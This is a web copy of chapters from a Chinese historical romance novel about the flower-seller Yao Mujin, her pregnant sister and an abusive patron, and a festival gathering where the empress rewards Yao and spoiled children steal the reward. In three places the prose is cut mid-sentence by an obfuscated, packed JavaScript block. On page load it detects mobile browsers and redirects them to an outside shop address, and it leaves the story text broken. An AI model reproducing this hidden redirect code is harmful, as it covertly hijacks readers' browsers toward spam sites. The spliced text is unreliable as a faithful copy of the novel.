第一次在顾沾沾这儿见到姚木槿的时候,他就对这个与众不同的女人产生了极大的兴趣——本朝仕女崇尚“人比黄花瘦”,可姚木槿却不仅不瘦弱,反而婀娜有致,丰腴多姿。 她像是旷野郊隰的一颗频婆果,嫣红地挂在枝头,于野天野地之中恣肆地生长着。如此惊艳的生命力,勾得人无论如何都想咬一口尝个鲜。 周恒眯起眼睛,怀里抱着顾沾沾,眼前却浮现出姚木槿一双红唇如频婆的模样。 “若是韩迟云倒也罢了,沈如钧……呵,他也配享这般艳福?”周恒忍不住再次发出一声讥笑。 顾沾沾被周恒拥在怀里,忽然低声询问:“家中大娘子脾气不好,官人若是将奴和姐姐接回家去,她会不会给官人难堪?” 周恒垂首在顾沾沾鬓边亲了亲,笑道:“你放心,她不过是个中看不中用的纸老虎罢了。你性子乖巧,不喜与人争执,可你姐姐却是个泼辣脾气。到时有你姐姐护着,你还怕什么?你姐姐上回把她骂得哑口无言,你忘了?” 经周恒这一提醒,顾沾沾想起前儿周家大娘子在姚木槿面前吃瘪的样子,这才将悬着的心放回了肚子里。 “你寻个机会,将外室之事透露些许,探一探你姐姐的口风。先别说是我的意思,只说是你自己的法子,端看你姐姐如何说。”周恒颇为耐心地嘱咐着。 顾沾沾思量片刻,终究还是低声下气地应了,转身捧起茶盏递给周恒。 趁着对方抿茶的功夫,她嗫喏地说起二人此前一桩未了的公案:“官人,奴这身子眼看着越来越重,行止皆不便宜。奴上回同官人说过,想讨个女使来……” “再等等,眼下没钱。”周恒不耐烦地打断了她。 顾沾沾咬着下唇,眉目间皆是委屈,好一会儿终于鼓起勇气争辩道:“官人是在糊弄奴呢。姐姐已经对奴说了,昨儿你们在画舫吃酒,她赢了官人,官人答应给奴雇个女使,如今怎得出尔反尔。” 听她提起昨日西湖画舫吃酒之事,周恒的脸色陡然沉了下来。 他昨日喝酒输给姚木槿,后来瘫倒在地,还被姚木槿踢了几脚。这些也都罢了,他只当是调情。可让他心怀怨愤的是,他醉眼朦胧倒在船舱之时,曾看到姚木槿捧着一束蓝莲花往韩迟云怀里塞。彼时她双瞳剪水,眸含秋波,真是好一番脉脉此情谁诉。 周恒不愿承认,但又不得不承认——他嫉妒韩迟云,他有怨气。 那些怨气积压在胸腔,憋得人难受。正愁无处发泄之时,眼前这蠢笨的小女人偏是不长眼,一门心思要往怒火上撞。好嘛,一个两个都来给他添堵。 周恒厌烦地推开顾沾沾,斥道:“喝醉酒的玩闹话,哪能当真?!你瞧瞧你这儿吃的喝的用的,哪个不是花我的钱?再胡搅蛮缠就把你随便送给街上哪个阿猫阿狗。” 顾沾沾见对方不仅抵赖,甚至还反咬一口说她胡搅蛮缠,饶是她性子再柔弱,也忍不住顶嘴道: “不过就是几吊钱罢了,可官人回回皆推脱。有钱将那‘琥珀光’一坛一坛地饮,却没钱为奴雇个照料的人。官人强迫奴跟着你的时候,是如何花言巧语,眼下全都忘了么?” 话音甫落,但听“砰”地一声响,竟是周恒抡起巴掌拍在案上。 “住口!不过是个下贱东西,胆敢对官人挑三拣四,吆五喝六?!” 周恒一脚踢开座椅,骂骂咧咧地起身向门外走去。 顾沾沾被周恒的突然动怒吓坏了,觳觫半晌,直到对方已行至门口,她这才反应过来。 “官人莫走……是奴错了,奴不该顶撞官人……官人莫要丢下奴……”顾沾沾音声哽咽,三步并作两步跑到门前,扯住了周恒衣袖。 周恒却一把拍开顾沾沾的手,詈道:“贱骨头!” 话毕,他再不管顾沾沾的苦苦哀求,兀自摔门而去。 * 姚木槿仍从相府后门离开,过了丰乐桥和五圣庙,依原路回到了善履坊顾沾沾那儿。 甫进院门就看到顾沾沾正拎着水桶,挺着腰,将桶内清水往水缸里倒。她的小腹日渐隆起,行动愈发笨拙。 姚木槿一个箭步上前拦住顾沾沾,道:“你又去担水了?早就交代不让你干这些粗活,快放下!等我走时给你把水缸打满。” 话毕一转头才发现顾沾沾满脸清泪,她是一边干活一边哭。 姚木槿惊道:“这是怎么了?谁欺负你?” “适才周官人来过,我和他吵了一架。”顾沾沾抬眸看向姚木槿,双眼红肿,似已哭了许久。 “为何吵架?” “你说昨日你与他拚酒,你赢了他,他答应给我雇女使,这话是真的么?” “自然是真的!我何时骗过你。” “可周官人却矢口否认,说那会儿喝醉了酒,根本不能当真。他还嫌弃我,说我胡搅蛮缠,徒生事端。我一时气不过,与他顶撞了两句,他摔门就走,再留不住。”顾沾沾说着说着扔下水桶,掩面大哭起来。 姚木槿顾不上痛骂周恒,只急忙上前安慰自己这个性子柔弱的妹妹。一面让她念及腹中胎儿,莫要哭坏了身子;一面十分仗义地说,既然周恒那个混账根本指望不上,那么雇女使的事情就包在姐姐身上好了。【请看作话!】 “当真么,小啾?”顾沾沾哽咽着问。 “当真!”姚木槿拍拍胸膛,努力摆出小事一桩的模样,好让顾沾沾放宽心,“你就好好养着自己和孩子,其他的事我去想办法!” 吃下这颗定心丸,顾沾沾终于不再落泪。她打起精神,去灶房收拾蔬果吃食,打算与姚木槿一起用饭。 “饿么?”顾沾沾怕姚木槿饿着,指了指屋内一口柜子,“你上回给我买的乌梅糖在柜里,饿了先垫两口。” “早就饿了,”姚木槿笑盈盈地,“我不喜欢吃糖,就馋你这一手好菜呢!” 用飧食之际,顾沾沾却整个人都是别扭的。一会儿想起周恒说想将姚木槿也收入房中,让她探探姚木槿的口风;一会儿又想起周恒对她口出詈语,骂她是贱骨头,让她滚。 “怎么了?是不是那周恒又说了什么混账话?”姚木槿看出顾沾沾不对劲儿,轻声问道。 “没事,不提他,扫兴。”顾沾沾强作笑颜,反问姚木槿,“你今日和沈官人谈得如何?” 姚木槿不想说她和韩迟云起争执的事,遂只淡淡答道:“挺好的。他已将纳妾之事告知双亲。过些日子收到家书之后,便可接我入府。” 顾沾沾咬着竹箸,小心翼翼地问:“你真打算给沈官人做妾?那沈官人好是好,可他毕竟只是下人,将来前途如何谁也说不清,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322337|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他未必就是好事。若是有别的办法能还上那一千贯,或者有别的人想要……” 姚木槿倏然抬头看向顾沾沾:“你有什么办法?” 顾沾沾赶紧摇头:“我……我乱讲的,我只是担心你……” “你快别想这些乱七八糟的,平白劳神。我惹下的事,我自己去解决。” 姚木槿放下碗筷,继续柔声安慰着:“我又不是傻兮兮没一点儿算计。我思量过了,等我入府之后去求一求孟夫人,给夫人做女使,若是真能让那郑知县趁此机会攀上相爷,给他自己谋个前程,那我就不用还钱了!至于沈官人,他是个顶好的读书人,我就算将来真的跟了他,也吃不着亏。况且,这些都是权宜之计。咱们呀,没事不惹事,有事不怕事,终究是走着瞧。” 待二人吃完饭,姚木槿挑起自己的花担子,赶在天黑之前出城回了黑羊巷。 回到家中,她做的第一件事便是将自己攒钱的那三只钱匣拿了出来。 捧在手中思索片刻,又把给程厌的那只匣子塞回柜内;复想了想,又把给顾沾沾孩子的那只也塞了回去。最终只剩下她给自己和庾岭攒路费的那只匣子。 姚木槿将匣内铜钱一股脑全倒出来,仔细数了一遍,而后长长地叹了口气——太少了。这么点儿钱,莫说是给顾沾沾雇个能干又可靠的女使,恐怕就是找个只会做粗活的婆子都不够。 将钱装回匣内放好,姚木槿坐在桌前绞尽脑汁盘算着,究竟能从哪儿再弄一笔钱来。 思来想去……也许可以去问沈如钧借点儿?但转瞬想到沈如钧在相府的窘境,心知他比自己也好不到哪儿去。或者,实在不行的话就再回一趟慈幼局,问问程妈妈,看能不能把那一千贯暂且分出些给自己。 然而一想到已经给了孩子们的钱,又要去厚着脸皮讨回来,顿时便觉又羞又愧,这事儿她实在做不出来。 继之又想,要不然就找同是慈幼局出身的人,把周恒绑了狠狠打一顿,从他身上敲诈一笔钱出来。慈幼局养大的孩子现已遍布三教九流、五街八衢,虽然平日里大家并不怎么来往,但只要有人有事相求,其他人皆不会坐视不理。 可转念一想又觉不妥,绑架敲诈,弄不好就是一顿牢狱之灾,她不想因为混账周恒而连累了自己那些勤勤恳恳过日子的兄弟姊妹们。 但那周恒出尔反尔实在可恨,无耻下流东西,姚木槿气得在屋里直跺脚。 正在满脑子琢磨着究竟要不要找人把周恒揍一顿的时候,忽听门外有人叫道:“小啾,开门,是我。” 姚木槿跑去将门打开,门外站着个农妇打扮的老媪。临安府三百六十行,行行皆有自己的“行会”,卖花娘子们亦不例外。这老媪姓李,便是卖花行会中的掌事行老之一。 “李妈妈,什么风把您给吹来了?”姚木槿赶忙将人让进屋内。 那李媪见姚木槿神色不大对,便打趣道:“哎呦,是谁惹咱们小黄莺儿生气了?” “是我不小心把腿撞在桌脚,撞疼了,自己跟自己置气呢。”姚木槿胡乱找了个借口搪塞着。 李媪却笑得满脸皱纹挤作一团,道:“快别气了,老身今日来是有好事告诉你,你听了这事,管保高兴得做梦都要笑醒。” “什么事这么高兴?”姚木槿疑惑地问。 “好事,天大的好事!” 17.皇后 展眼端午在迩。 十日前,卖花行会的“行老”李媪来找姚木槿,说有个天大的好事要交予她。姚木槿细问之下才知,原来是朝廷摊派了端午节的雅集,命行会遣几位品貌俱佳的娘子去为雅集布置花草。 朝廷向民间摊派乃常有之事,有时要出钱,有时要出人,并无甚好处。可那李媪却为何大呼“好事”? 盖因这端午雅集乃本朝达官贵胄之盛会,比之梁园延宾、兰亭流觞,亦不遑多让。去这样的场合伺候,不仅能大开眼界,兴许还能讨到不少赏钱。 李媪向来喜爱姚木槿爽快大方的性子。犹记去年冬天,她因腿疾无法长久行走,彼时是姚木槿二话不说便揽了她的花担子,一个人干两个人的活儿。对方的品性她看在眼里记在心里,故而今年又遇端午摊派,她第一时间就想到了姚木槿。 “张大官人说,今年因着皇后娘娘打算亲至雅集,所以才弄得这般大阵仗。咱们花行娘子别的本事没有,但摆弄那些花儿朵儿,各个都是拿手的。小啾,你好好伺候,哄得皇后娘娘高兴了,定会赏赐你。”临出门的时候,李媪仍在谆谆叮嘱着。 “多谢李妈妈!我一定尽心尽力!” 姚木槿喜上眉梢,就差拉着李媪的手满屋转圈圈了。 今岁的端午雅集设在凤凰山太平观。 凤凰山紧挨皇宫大内,属皇家御苑。端午这日,从万松岭直至望湖亭,一路皆彩旗高张,菖蒲遍插。 步入太平宫观,但见符箓随风扬起,金盆玉树罗列道旁,其上所悬五色纸钱亦随着清风飘飘荡荡。 韩皇后的凤辇由大内直上凤凰山,一路观花赏景,至紫薇殿外弃辇登殿。侧殿早已布下歇处,内侍女官众人伴着韩皇后于殿内稍歇。 “漫山遍野彩丝缭乱,看得人头晕,倒是这殿内的净瓶插花更有意趣。”韩皇后坐在一张披着绣花椅衣的朱红圈椅上,望着殿内布置下的一排白玉瓶及瓶内插花,笑说。 司言女史徐氏知晓皇后素喜清静,立刻附和道:“圣人所言极是。这些瓶花插得蛮蛮好,衬着殿宇清静,人心也清静下来。原以为那些粗人只会弄些秾丽艳俗之物,谁知却是这般雅致。” “你让他们去打听,这些玉瓶插花是哪位娘子的手笔,将她唤来给我瞧瞧。” 徐女史立刻遣了几位内侍去向雅集掌事之人问询。 未及一盏茶的功夫,适才打发去的内侍便领着一位身着石绿缬纹圆领袍的女子走入偏殿,禀道:“回圣人话,便是这位姚娘子担待殿宇瓶花活计。” 姚木槿原本在三清阁外照看花木彩丝,忽然被人唤住,说是皇后要见她,不禁心头又惊又喜——喜的是她不辞辛苦,独自包揽了整个紫薇殿的花草布置,一门心思揣摩皇后心意,果然摸到了点子上;惊的是她一介平民,竟能亲眼看到当朝皇后,实在折煞。 然而可惜的是,姚木槿却并未瞧清皇后模样。 侧殿置云母屏风一张,其上绘方壶仙山,烟气缭绕遮目,而皇后本人则端坐屏风后,影影绰绰,但闻其声、不见其人。 “昔吾待字深闺之时,最喜焚香插花,今见殿内瓶花清雅,颇似当初。吾心甚悦,合该赏赐。” 韩皇后毫不倨傲,哪怕是对着面前这位被朝廷摊派来的花行贫女,亦是温语缓言。 话音甫落,便有宫侍端来托盘,依例赏了姚木槿一枚鱼媚子和一只端午香缨。 姚木槿急忙叩谢,却听韩皇后又说道:“吾见殿内尚有空瓶,便心生一题。吾来此时途经望湖亭,远远瞧见西子湖波光潋滟,便忆及苏大学士之诗——‘淡妆浓抹总相宜’。姚娘子若能依此题再插一瓶花来,吾另有赏赉。” 本朝仕女有四大雅事,即焚香、点茶、挂画、插花。韩皇后乃官宦仕女出身,于此四道不可谓不精通。此刻颇有兴致地布下题目令姚木槿作答,姚木槿一听说还有赏赐,立时摩拳擦掌准备大展身手。 不待皇后吩咐,众宫侍早已将矮案、玉瓶、花枝、蒲团等物布置于殿侧。姚木槿跪坐案后,但见案上摆着葵花、榴花、栀子、菖蒲、艾草和柳枝,略略思忖,这便执起柳枝插入瓶中。 她在殿侧插花,殿内人来人往,不时便有达官贵胄家的夫人小姐来向皇后敬叩金安。阵阵香风从姚木槿面前吹过,吹得她忍不住想打喷嚏。 韩皇后发内帑宫缎、宫瓷、长命缕、琼酥等物恩赉诸位贵女。其中一位小字丛琳的女子,尤得皇后青睐,比别人多得一串琉璃禁步、一条玛瑙手珠。 姚木槿一边插花一边偷听诸人谈话,听到那温丛琳乃御史中丞温磐的嫡长女,韩皇后对其赞不绝口之时,她便忍不住抬眼偷觑。 只见温丛琳头戴鹿角柘枝冠,身着生色花鹅黄褙子并绿罗裙,果然是皇后喜爱的端庄清雅之态。 一盏茶后诸贵女离去,又有内侍来禀:“韩签判于殿外恳请谒见圣人。” “快,快宣。”韩皇后欢喜言道。 姚木槿手中瓶花正插至关键节点,她只顾着摆弄花枝,也没在意这“韩签判”究竟何许人——既也姓韩,左不过就是外戚罢了,没甚意思。耳闻乌皮朝靴步入殿内,靴底叩着地板,一声声稳重好听,这才下意识向脚步传来的方向看过去。 只这一看,姚木槿的心倏地停了须臾。 但见韩迟云头戴展脚幞头,身着墨绿公服,正不疾不徐地向她走来。 他身姿笔挺,被公服衬得愈发气度出众,脚步落在木地板上,倒像是落在人心上似的。 二人四目相对,韩迟云眼中既无恼怒亦无嫌厌,只是淡淡的,淡得柔肠一颤。 姚木槿“唰”地低下头,只觉后背渗出一层虚汗——天菩萨啊,不过短短十日未见,韩迟云居然已经是临安府签判了?! 完了完了,自己上回那样不留情面地骂他,把他气成那副模样……姚木槿霎时在心底将姚家的姥姥、太姥、太太姥全求了一遍,求诸姥保佑韩迟云大人有大量,千万别和她计较。 许是太姥威力大,韩迟云果然没和她计较——他从姚木槿身边径直走过,在屏风五步开外站定,恭敬地向韩皇后问安。 “小叔莫要拘礼,”屏风内,韩皇后语调欢悦,不同于适才的端重,此刻竟隐约透出一抹少女情态,“吾近来时常感念旧日光景,犹记吾尚是髫年小女之时,小叔教吾诵读诗书。不意韶光似箭,转瞬驷之飞矣。” 韩迟云端正作答:“昔有李长吉言:月寒日暖,来煎人寿。想来飞光过隙,惟有劝一杯酒。圣人感念去日,不过徒增伤心罢了。” 韩皇后于屏风内掩口笑道:“小叔还是这般谨肃,真是一点儿没变。昔日吾每每不愿读书习字,只想溜出门外放纸鸢时,小叔亦是如此,嘴上说着不可不可,但却每次都会伴吾玩至暮色昏昏。” 听闻此言,韩迟云终是没忍住,也笑道:“皆是微臣之过。” 透过屏风隐约可见韩皇后摆了摆手,道:“小叔切勿如此说,平白生分了。官家昨日还对吾赞叹,说小叔放着那风风光光的閤门祗候不做,偏要做临安府签判。拳拳赤心,恤民仁物,实在令人敬佩。” 顿了顿,韩皇后突然话锋一转:“其实吾今日宣见小叔,是有件要紧事。” 韩迟云礼道:“还望圣人不吝赐教。” “吾今已为人母,可小叔却仍未婚娶。莫说大伯翁着急,官家亦急,吾心亦急。吾闻大伯翁言,已为小叔相看温御史家中长女,适才特意唤她来见,果然端庄娴雅,吾很喜欢。只盼韩温两家能尽早下聘完婚才是。六月初六乃崔真君诞辰,是个好日子,不如便定于那日互换帖子。” 韩皇后说起自己小叔的婚事,语调愈发欢喜。她今年初初二十,虽已做了母仪天下的皇后,可骨子里却仍是喜欢谈情说爱的青葱女儿,聊起那“衣带渐宽终不悔,为伊消得人憔悴”之事,能津津乐道聊个不休。 况且她虽然将韩迟云唤作小叔,可事实上她只比对方小半岁——韩迟云辈分大,她辈分小。二人本是同龄人,少时也曾一起读书。韩迟云从小便老成持重,对自己这个侄女亦是娇宠。韩皇后心知小叔嘴硬心软,也便时常与之打趣。 谁知韩皇后欢喜说完,韩迟云却没什么欢喜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330394|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但也没有不喜,他只是板板正正地答道:“谨遵圣人之言。” 那边叔姪二人隔着屏风言谈甚欢,这边姚木槿早已将瓶花插好,但却不敢无礼打断,遂只得支起耳朵在一旁偷听。可那二人说话实在太过文绉绉,姚木槿听的也是一知半解。 “呀?韩皇后小时候被韩迟云带过?韩迟云居然还会带小孩儿?!”姚木槿瞪圆了眼睛。 “诶?煎人寿是什么东西?难不成是一种金贵的煎饼?好吃么?”姚木槿忍不住吞了吞口水。 “啊!想不到韩迟云竟是个爱民如子的好官,简直让人刮目相看啊。”姚木槿再次瞪圆了眼睛。 “嚯!原来那温丛琳便是韩迟云将娶之人。还别说,这俩人一个贤淑一个古板,真的很般配。”姚木槿勾起唇角偷笑。 她正在一旁偷偷乐呵,忽听那司言女史拔高嗓音道:“姚娘子,圣人问你话呢。” 姚木槿猛然回神:“……啊?什么?” 韩皇后倒是没介意姚木槿走神,又重复了一遍:“吾见姚娘子的瓶花似已妥当,可否供吾一观?” 姚木槿赶忙起身,将插好的瓶花捧给徐女史,由其摆至皇后案前。 屏风后,韩皇后蓦地发出一声轻呼,疑惑道:“这又该如何阐释?” 原来,韩皇后给了姚木槿六种花枝,可姚木槿却将其中四种尽皆弃置,极其大胆地只用了柳叶和榴花两种。 柳叶如玉,榴花似火。青枝虔诚,红瓣炽热。不杂余色,不惹繁芜。 姚木槿听到皇后发问,上前一步,大大方方回答道: “回圣人话,天下无人不爱西子湖光,圣人以苏大学士之诗为题,真是好极。民妇以为,西湖最美之处在其干净纯粹。恰如这瓶插花,静中有闹,却不嫌吵。民妇不要栀子、葵花等物,仅以柳枝与榴花相配,越简单才越显雅致。民妇为此瓶取名‘红情绿意’,想来也许能配得上西子湖光。” 韩皇后含笑垂眸,凝视着那一瓶“柳枝之上榴花红”,片刻后赞叹道: “真是妙绝!昔年姜白石自度《暗香》《疏影》二调,时人将之改做《红情》与《绿意》。俗是俗了点儿,但却更为浅近宜人。这瓶‘红情绿意’,吾心甚爱之。” 姚木槿听到“甚爱之”三字,终于长长地舒了口气——她刚才那番话,纯属胡说八道。 她不过是仗着自己胆大聪明,遂敢剑走偏锋。 她根本不知道苏大学士是谁,也不知道“淡妆浓抹总相宜”出自何诗,更不知道“红情绿意”竟是脱胎于姜夔的“暗香疏影”。 但她就住在余杭门外,日日担花往来,知晓西湖四时风光,也知晓韩皇后喜欢清雅出新,不喜堆叠,故而顺着这一思路,便有了单以柳枝配榴花的想法。 至于“红情绿意”这名字,不过是歌楼里现成的词牌名,她曾听顾沾沾唱过,这便记在心头。 姚木槿被皇后娘娘夸得心花怒放,下意识扭头去看韩迟云。却见韩迟云面上虽无表情,可眼中却是洞悉一切的了然,似乎早已看穿她在瞎扯。 了然是了然,了然之下又浮着一抹幽晖,让人慌,让人乱,让人六神无主。 ——他故意不揭穿她,端看她这伶牙俐齿怎么胡说。 姚木槿收回目光,狠狠咬了咬牙,心里懊恼自己为何要忍不住看他。 待献花毕,其时已是未时三刻,韩皇后赐下端午角黍,又命诸位王孙贵女们在凤凰山自行赏玩,她则摆驾回宫去了。 凤辇起驾之时,她因喜爱姚木槿所制“红情绿意”,特意命人单独赏了姚木槿六十贯。 姚木槿拿到那六十贯钱的时候,高兴得将一双明眸大眼笑成了两条缝。 六十贯!这可是足足六十贯啊!(注释1) 有了这些钱,她就可以为沾沾雇个手脚麻利的女使,可以从现在一直伺候到生下孩子;还可以买一大堆好吃的,给妹妹补身子,给自己解馋。而且,沾沾也可以不必因女使之事再受那周恒的窝囊气,简直太好了! 孰料韩皇后前脚刚走,姚木槿后脚便出事了。 18.道歉 韩皇后赏赐姚木槿的六十贯,即非铜钱亦非银铤,而是纸币,名曰“会子”。 衣冠南渡之后,朝廷命户部建立“会子务”,向民间大力推广使用纸币,以之代替金银铜钱。皇室行为世范,韩皇后发内帑恩赉诸人,赏钱用的便是纸币会子。 一张会子约巴掌大小,白底红字,其上以朱砂刻印“行在会子库”、“敕伪造会子犯人处斩”等字样及山水城门绘画,面额从二百文至三贯不等。 韩皇后赏给姚木槿的会子面值三贯,共二十张,合计六十贯。 待凤辇离去后,姚木槿拿着赏钱,找了太平观外一处僻静之地,盘膝席地而坐,这便开始喜滋滋地数钱了。数完一遍又数一遍,越数越开心,只觉这些红红白白的纸简直好看的不得了。 她这边正数得高兴,忽听身后传来一声怪叫:“大胆刁妇!怎敢偷拿宫观五色纸钱!还不快还回来!” 姚木槿愕然回头,只见身后草丛中忽地冒出七八个孩童,为首之人方头方脸,正指着她手中会子夸张地叫着。 这些孩童瞧年岁不过总角之年,瞧衣着俱是绫罗绸缎,姚木槿心知这些应是随家中亲眷来雅集游玩的官宦子弟,于是她起身拜了个万福,笑着解释:“小官人误会了,这不是五色纸钱,这是会子。” “会子?会子是什么东西?”为首那人疑惑道。 “会子不也是太平观的?你就是偷拿,还想抵赖。”另一人在旁质疑。 姚木槿忍不住叹了口气,心道真是些衣来伸手饭来张口的宝贝疙瘩,连会子是可以买卖交易的钱币都不知道,甚至连会子长什么样都没见过,竟以为是道观的符箓纸钱。 “我没偷拿,这些是圣人给我的赏钱。”姚木槿说。 “骗子!圣人何时给赏钱了?我们怎么没有?”为首的方脸男孩抢白道。 话毕,又冲着姚木槿伸出手,道:“拿来给我瞧瞧。” 姚木槿见和这些小屁孩根本说不通,也不想再多费口舌,她低下头,打算将那沓会子装进自己的随身荷包中。哪知便是在此时,为首之人打了个眼色,七八个孩童尖叫着冲上前,连推带搡,又扯又拉,不过三两下便将会子抢夺入手。 “你们做什么?!!”姚木槿惊呼。 “抢到了!” “走!快跑!” “真好白相哉!哈哈哈!” 抢到会子的拿了就跑,“呼啦”一下,人就全散了。 姚木槿至此突然反应过来,这些孩童并非不认识会子,他们是故意来抢她的钱,只为寻开心罢了。 而此刻,二十张会子已经被众人抢得七零八落,甚至有几张已在抢夺过程中被撕烂,可怜兮兮地碎尸于地。 姚木槿登时火冒三丈。 她疾冲上前一把攥住那正要逃走的方脸孩童的衣裳,怒道:“把钱还我!” 方脸孩童抢的最多,手里也不知攥了多少张,在姚木槿面前挑衅地晃着:“就不还,就不还,有本事自己来拿啊。” 姚木槿劈手去夺,却被男孩身子一拧躲开了。姚木槿绝不肯放过,再次追着去夺。 凤凰山上有泉眼,水流汩汩,于山间汇出清潭。潭水颇深,冷冽幽碧,不见其底。 姚木槿数钱之处距清潭不远,方脸孩童与她拉拽着,二人跌跌撞撞地从草坡一直追扯到潭边。 莫看那孩童只有十二三岁,可富贵人家好吃好喝地养着,养得力气一点不比姚木槿小。两个人就这么撕扯着,距离潭水越来越近。 方脸孩童见自己始终无法挣脱姚木槿,便开始对着她的脸吐唾沫,边吐边骂:“啐!疯婆子!疯婆子!” 姚木槿被吐了一脸唾沫星,只觉五脏六腑皆燃起怒焰——被人这样欺负,实在忍无可忍!于是她用力拽过那孩童后襟,扬手就是两巴掌甩在背上。 她手劲儿不小,这两巴掌打得也着实没留情面。 那方脸男孩“嗷”地一声痛叫,转瞬便嚎啕大哭起来,直哭得撕心裂肺,仿佛正被人凌迟似的。 “救命啊!杀小伢儿了!刁妇杀小伢儿了!” 他这一通鬼哭狼嚎,立刻便将附近的人吸引了来,内中有女使、仆役,还有几位太平观的小道士。众人见这花行娘子竟敢动手打王孙贵胄家的小官人,皆是倒抽一口凉气。 “你晓得我阿爹是谁?你敢打我,我叫我阿爹杀了你!”方脸男孩仍在哭叫着。 “我管你爹是谁!把钱还我!” 姚木槿并不想知道这男孩他爹是谁,她现在只想把自己的钱要回来。俗话说“上梁不正下梁歪”,能养出这样的儿子,估摸着老子也不是什么好东西。 二人正闹腾不休之时,忽听人群中有人唤道:“韩大人。” 紧接着,围观诸人“唰”地向两边让出一条道,韩迟云负手从分开的人群中走了过来。 那方脸男孩一见韩迟云仿佛看见救星,立刻哭喊道:“韩家哥哥,这刁妇打我!这刁妇要杀我!你快帮我打死她!” “放屁!”姚木槿怒喝。 韩迟云的目光从方脸男孩身上转向姚木槿,眉头微蹙,问道:“你打他了?” 姚木槿还没来得及说话,那方脸男孩便抢先告状:“她打我,她在我背上扇巴掌,我背可疼,我骨头要断了!” “你是哪家小孩,竟如此无耻!”姚木槿啐道。 “你是不是打他了?”韩迟云又问了一遍。 姚木槿咬牙切齿,片刻后终是点头:“打了。” “这位是温御史家中幺子,名唤温谦。”韩迟云语调平静地吩咐道,“姚娘子,请你给温小官人道歉。” “他抢我钱你怎么不说?!”姚木槿美目圆睁,狠狠瞪向韩迟云。 “无论如何,是你动手打人。”韩迟云的神色已是静中带冷。 “我打的就是这个一肚子坏水儿的狗东西!” “姚娘子!”韩迟云的声音蓦地凛冽起来,“我乃临安府签书节度判官厅公事,我现在以签判的名义,命你立刻给温小官人道歉。” ——临安府签书节度判官厅公事。 这十二个字仿佛一盆冷水兜头浇下,让姚木槿怒火烧灼的心瞬间冷静下来。 是了,对方现在是专管她这种小民小商的签判大人。她可以梗着脖子和“韩迟云”硬杠,可若是她今后还想在临安府好好过日子、做买卖,她就不能和“韩大人”硬杠——韩大人要是不想让她好过,简直易如反掌。 思至此处,姚木槿决定好汉不吃眼前亏。道歉又如何,道歉又不会少几块肉,只要能把钱要回来就行。 “温小官人对不住。”姚木槿语速极快地说。 韩迟云颔首,继而转向温谦,道:“温小官人,请将姚娘子的会子还给她。” 温谦见韩迟云以官位迫姚木槿道歉,面上立时显出得意之色。他并不缺钱,之所以带人抢这些东西,就是图个乐子。这会儿韩迟云让他把钱还给姚木槿,他也不想得罪韩迟云,遂打算再骂几句出出气就把钱还了。 孰料恰在此时,忽听身后传来一个年轻女人的声音: “阿谦,给姚娘子道歉!” 是很温柔的声音。虽温柔,却又透着不容置疑的力道。 “阿姐,你怎得向着外人!”温谦倏然回头,看着身后拂开众人向他走来的女子,抗议道。 温丛琳带着女使行至近前,先与韩迟云见礼,而后垂眸看着弟弟,道:“姚娘子不该动手打人,但你也不该拿别人耍乐。既然姚娘子已向你道歉,你也要向她道歉,如此才算公平。” “我不。”温谦抗拒道。 “道歉!”温丛琳的声音泛起丝丝寒凉,这凉意与她端庄淑婉的模样颇为参差,“今日乃雅集盛会,你却在大庭广众之下丢我们温家的脸,当心我现在就去告诉父亲,你以为父亲会偏向你么……” 温磐确实喜爱温谦,但温磐更爱脸面。 今日凤凰山雅集,温磐与一众有头有脸的朝廷官员皆参与其中,此刻诸人正在望湖亭伴着宰相韩辙宴饮。若是让他知晓儿子在这皇家御苑闹事丢人,少不得要让温谦吃不了兜着走。 温谦站在原地别扭了半晌,终于开口道:“对不住,卖花的。” 温丛琳舒了口气,上前一步对韩迟云道:“韩大人,舍弟顽皮,坏了雅集清净,还望韩大人勿怪。” “无妨。”韩迟云淡淡地应道。 “不知韩小官人今日是否来此?恰好我对这太平观颇为熟悉,若是韩小官人来了,我愿与舍弟一起伴他赏玩。”温丛琳忽然问起韩迟云的弟弟韩竣。 韩迟云礼道:“多谢温娘子好意,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338986|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竣身体不适,今日并未至此。” “哎呀,真是可惜了。” 那边韩温二人客气地交谈着,围观众人眼见一场闹剧已至尾声,这便陆续散开,自去游赏。 ——变故是突然发生的。 温谦被姐姐威胁着给姚木槿道了歉,心中怨愤已极。此刻见阿姐正和韩迟云说话,无暇顾及自己,他看了一眼几步开外的深潭,突然蹿向潭边,抡起手臂一甩,原本攥于掌心的那沓会子便如同漫天飞雪一般,飘飘洒洒落入潭中。 姚木槿发出一声惊叫,拔腿就想往潭水里跳。 